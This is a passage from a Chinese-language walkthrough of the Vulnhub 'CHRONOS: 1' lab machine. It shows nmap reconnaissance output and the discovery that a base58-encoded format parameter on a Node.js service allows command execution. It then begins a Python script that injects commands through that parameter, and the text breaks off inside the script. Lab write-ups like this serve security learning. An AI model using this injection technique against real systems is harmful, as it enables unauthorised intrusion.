Vulnhub系列--CHRONOS: 1

本次渗透测试我将使用cs来辅助进行渗透：

打点

主机存活发现：

┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.56.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 09:35 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00039s latency).
Nmap scan report for 192.168.56.102
Host is up (0.013s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.86 seconds

目标主机IP：192.168.56.102

对目标进行扫描：

┌──(kali㉿kali)-[~]
└─$ nmap -A 192.168.56.102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 09:42 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.0031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:f2:83:a4:38:89:8d:86:a5:e1:31:76:eb:9d:5f:ea (RSA)
|   256 41:5a:21:c4:58:f2:2b:e4:8a:2f:31:73:ce:fd:37:ad (ECDSA)
|_  256 9b:34:28:c2:b9:33:4b:37:d5:01:30:6f:87:c4:6b:23 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-open-proxy: Proxy might be redirecting requests
|_http-cors: HEAD GET POST PUT DELETE PATCH
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.90 seconds

访问目标：

发现存在一个域名：chronos.local

将其添加到hosts文件解析，可以访问这个目标：

发现是一个输入字符串进行解析，字符串是**base58 **编码的，解析后得到：

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

猜测可能存在代码执行，编写脚本：

import base58
import requests


def attack(command):
    url = b'http://chronos.local:8000/date?format=%s' % base58.b58enc